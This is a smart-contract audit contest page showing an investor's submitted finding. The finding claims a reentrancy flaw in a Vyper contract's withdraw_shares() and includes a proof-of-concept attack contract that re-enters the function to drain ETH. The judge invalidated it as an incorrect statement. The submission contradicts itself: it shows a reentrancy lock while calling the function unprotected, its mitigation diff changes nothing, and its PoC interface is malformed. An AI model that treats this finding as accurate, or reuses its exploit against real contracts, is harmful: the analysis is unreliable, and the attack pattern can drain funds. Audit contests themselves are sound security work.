Company Simulator

First Flight #51
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

[H-01] - Reentrancy in `withdraw_shares()` allows investor to drain company funds

Root + Impact

Description

The withdraw_shares() function in Cyfrin_Hub.vy violates the Checks-Effects-Interactions pattern, making it vulnerable to a reentrancy attack.

The function first calculates the payout amount and performs the external ETH transfer (raw_call) to the investor. Crucially, the investor's shares and the global issued_shares are only updated after the external transfer.

A malicious investor can deploy a contract that re-enters withdraw_shares() during the external transfer, allowing them to withdraw their shares multiple times before the state is updated. This allows the attacker to drain the company's entire ETH balance.

# Root cause in the codebase (Cyfrin_Hub.vy)
@external
@nonreentrancy('lock')
def withdraw_shares():
# ... calculation of payout and shares_to_withdraw ...
# External call (Interaction)
raw_call(
msg.sender,
b"",
value=payout,
max_gas=30000,
revert_on_failure=True
) # @> External call occurs before state updates
# State updates (Effects)
self.issued_shares -= shares_to_withdraw
self.shares[msg.sender] = 0
# ... other state updates ...

Note: The @nonreentrancy pragma is not supported in Vyper 0.4.3, making the function completely unprotected.

Risk

Likelihood: High
The vulnerability is easily exploitable by any investor who deploys a simple malicious contract. The attack path is straightforward and requires no special timing or prerequisites. The exploit was confirmed with a Proof of Concept.

Impact: High
The attacker can drain the entire company_balance of the Cyfrin_Hub contract, leading to a complete loss of funds for all other investors and the company itself. This results in a severe financial loss and protocol failure.

Proof of Concept

The exploit was confirmed using a custom Vyper contract ReentrancyPoC.vy that re-enters the withdraw_shares function during the external call.

  1. Setup:

    • The Cyfrin_Hub is deployed and funded with 100 ETH.

    • A malicious investor (Attacker) invests 1 ETH and receives 1000 shares.

  2. Attack:

    • The Attacker calls withdraw_shares() from their malicious contract.

    • Inside the malicious contract's fallback function, the Attacker immediately calls withdraw_shares() again.

  3. Result:

    • The Attacker's shares are only updated to 0 after the first call completes.

    • The second call executes successfully, calculating the payout based on the original share balance, resulting in a double withdrawal.

    • By looping this, the Attacker can drain the entire 100 ETH balance.

Supporting Code:

# @version ^0.4.1
# @license MIT
"""
@title Reentrancy PoC Contract
@notice Exploits the reentrancy vulnerability in Cyfrin_Hub.withdraw_shares()
@dev This contract is designed to receive ETH via its fallback function and re-enter the target contract.
"""
interface CyfrinHub:
def withdraw_shares(): nonreentrant("lock")
# Address of the target CyfrinHub contract
HUB_ADDRESS: public(address)
# Flag to control reentrancy depth
reenter_flag: public(bool)
@deploy
def __init__(_hub: address):
self.HUB_ADDRESS = _hub
self.reenter_flag = True
@external
@payable
def attack():
"""
Initial call to trigger the exploit.
Requires the PoC contract to have shares in the Hub.
"""
CyfrinHub(self.HUB_ADDRESS).withdraw_shares()
@external
@payable
def __default__():
"""
Fallback function that is called when the Hub sends ETH to this contract.
"""
if self.reenter_flag:
self.reenter_flag = False # Prevent infinite loop
# Re-enter the withdraw_shares function
CyfrinHub(self.HUB_ADDRESS).withdraw_shares()
@view
@external
def get_balance() -> uint256:
return self.balance

Recommended Mitigation

The state updates must occur before the external call to the investor.

@external
@nonreentrancy('lock')
def withdraw_shares():
# ... calculation of payout and shares_to_withdraw ...
# State updates (Effects)
- self.issued_shares -= shares_to_withdraw
- self.shares[msg.sender] = 0
+ self.issued_shares -= shares_to_withdraw
+ self.shares[msg.sender] = 0
# External call (Interaction)
raw_call(
msg.sender,
b"",
value=payout,
max_gas=30000,
revert_on_failure=True
)
# ... other state updates ...
Updates

Lead Judging Commences

0xshaedyw Lead Judge
7 days ago
0xshaedyw Lead Judge 5 days ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.